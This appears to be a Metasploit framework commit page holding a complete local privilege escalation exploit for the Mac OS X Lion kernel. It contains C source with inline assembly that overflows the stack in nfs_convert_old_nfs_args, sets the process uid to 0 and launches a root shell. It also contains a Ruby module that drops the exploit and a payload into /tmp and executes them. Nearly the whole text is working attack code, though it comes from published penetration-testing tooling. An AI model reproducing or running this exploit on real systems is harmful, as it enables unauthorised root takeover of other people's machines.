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Land rapid7#3292 - Mac OS X NFS Mount Privilege Escalation Exploit
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‎data/exploits/osx/nfs_mount_priv_escalation.bin

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‎external/source/osx/nfs_mount_priv_escalation.c

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/*
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* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
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* CVE None
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* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
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*
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*
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* Notes:
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* This exploit leverage a stack overflow vulnerability to escalate privileges.
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* The vulnerable function nfs_convert_old_nfs_args does not verify the size
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* of a user-provided argument before copying it to the stack. As a result by
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* passing a large size, a local user can overwrite the stack with arbitrary
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* content.
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*
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* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
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* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
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*
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* Greets to taviso, spender, joberheide
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <strings.h>
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#include <errno.h>
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#include <sys/mman.h>
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#include <sys/mount.h>
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#include <sys/param.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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#include <unistd.h>
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/** change these to fit your environment if needed **/
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#define SSIZE (536)
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/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
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struct user_nfs_args {
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int version; /* args structure version number */
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char* addr __attribute__((aligned(8))); /* file server address */
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int addrlen; /* length of address */
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int sotype; /* Socket type */
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int proto; /* and Protocol */
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char * fh __attribute__((aligned(8))); /* File handle to be mounted */
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int fhsize; /* Size, in bytes, of fh */
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int flags; /* flags */
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int wsize; /* write size in bytes */
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int rsize; /* read size in bytes */
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int readdirsize; /* readdir size in bytes */
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int timeo; /* initial timeout in .1 secs */
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int retrans; /* times to retry send */
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int maxgrouplist; /* Max. size of group list */
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int readahead; /* # of blocks to readahead */
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int leaseterm; /* obsolete: Term (sec) of lease */
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int deadthresh; /* obsolete: Retrans threshold */
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char* hostname __attribute__((aligned(8))); /* server's name */
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/* NFS_ARGSVERSION 3 ends here */
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int acregmin; /* reg file min attr cache timeout */
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int acregmax; /* reg file max attr cache timeout */
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int acdirmin; /* dir min attr cache timeout */
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int acdirmax; /* dir max attr cache timeout */
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/* NFS_ARGSVERSION 4 ends here */
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uint auth; /* security mechanism flavor */
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/* NFS_ARGSVERSION 5 ends here */
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uint deadtimeout; /* secs until unresponsive mount considered dead */
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};
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/** sets the uid for the current process and safely exits from the kernel**/
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static void r00t_me() {
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asm(
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// padding
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"nop; nop; nop; nop;"
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// task_t %rax = current_task()
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"movq %%gs:0x00000008, %%rax;"
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"movq 0x00000348(%%rax), %%rax;"
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// proc %rax = get_bsdtask_info()
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"movq 0x000002d8(%%rax),%%rax;"
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// ucred location at proc
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"movq 0x000000d0(%%rax),%%rax;"
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// uid = 0
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"xorl %%edi, %%edi;"
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"movl %%edi, 0x0000001c(%%rax);"
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"movl %%edi, 0x00000020(%%rax);"
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// fix the stack pointer and return (EACCES)
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"movq $13, %%rax;"
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"addq $0x00000308,%%rsp;"
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"popq %%rbx;"
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"popq %%r12;"
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"popq %%r13;"
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"popq %%r14;"
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"popq %%r15;"
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"popq %%rbp;"
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"ret;"
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:::"%rax"
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);
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}
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int main(int argc, char ** argv) {
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struct user_nfs_args xdrbuf;
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char * path;
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char obuf[SSIZE];
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/** clear the arguments **/
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memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
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memset(obuf, 0x00, SSIZE);
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/** set up variable to get path to vulnerable code **/
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xdrbuf.version = 3;
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xdrbuf.hostname = "localhost";
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xdrbuf.addrlen = SSIZE;
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xdrbuf.addr = obuf;
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/** set ret address **/
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*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
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printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
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/** create a unique tmp name **/
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if ((path = tmpnam(NULL)) == NULL) {
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// path can be any directory which we have read/write/exec access
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// but I'd much rather create one instead of searching for one
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perror("[-] tmpnam");
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exit(EXIT_FAILURE);
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}
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/** make the path in tmp so that we can use it **/
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if (mkdir(path, 0660) < 0) {
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perror("[-] mkdir");
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exit(EXIT_FAILURE);
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}
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/** inform the user that the path was created **/
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printf("[*] created sploit path%s\n", path);
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/** call the vulnerable function **/
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if (mount("nfs", path, 0, &xdrbuf) < 0) {
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if (errno == EACCES) {
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puts("[+] escalating privileges...");
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} else {
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perror("[-] mount");
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}
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}
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/** clean up tmp dir **/
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if (rmdir(path) < 0) {
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perror("[-] rmdir");
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}
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/** check if privs are equal to root **/
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if (getuid() != 0) {
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puts("[-] priviledge escalation failed");
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exit(EXIT_FAILURE);
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}
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/** get root shell **/
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printf("[+] We are now uid=%i ... your welcome!\n", getuid());
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printf("[+] Dropping a shell.\n");
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/** execute **/
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execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);
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return 0;
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}

‎modules/exploits/osx/local/nfs_mount_root.rb

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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = NormalRanking
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
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'Description' => %q{
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This exploit leverage a stack overflow vulnerability to escalate privileges.
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The vulnerable function nfs_convert_old_nfs_args does not verify the size
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of a user-provided argument before copying it to the stack. As a result by
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passing a large size, a local user can overwrite the stack with arbitrary
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content.
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Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Kenzley Alphonse', # discovery and a very well-written exploit
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'joev' # msf module
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],
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'References' =>
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[
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[ 'EDB', '32813' ]
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],
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'Platform' => 'osx',
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'Arch' => [ ARCH_X86_64 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' => [
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[ 'Mac OS X 10.7 Lion x64 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86_64
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 11 2014'
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))
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end
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def check
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if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
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file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
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exploit = File.read(file)
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pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
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print_status "Writing temp file... #{tmpfile}"
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write_file(tmpfile, exploit)
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register_file_for_cleanup(tmpfile)
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print_status "Writing payload file... #{payloadfile}"
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write_file(payloadfile, pload)
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register_file_for_cleanup(payloadfile)
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print_status "Executing payload..."
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cmd_exec("chmod +x #{tmpfile}")
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cmd_exec("chmod +x #{payloadfile}")
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cmd_exec("#{tmpfile} #{payloadfile}")
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end
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def xnu_ver
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m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
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m && m[1]
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end
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def ver_lt(a, b)
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Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
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end
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end

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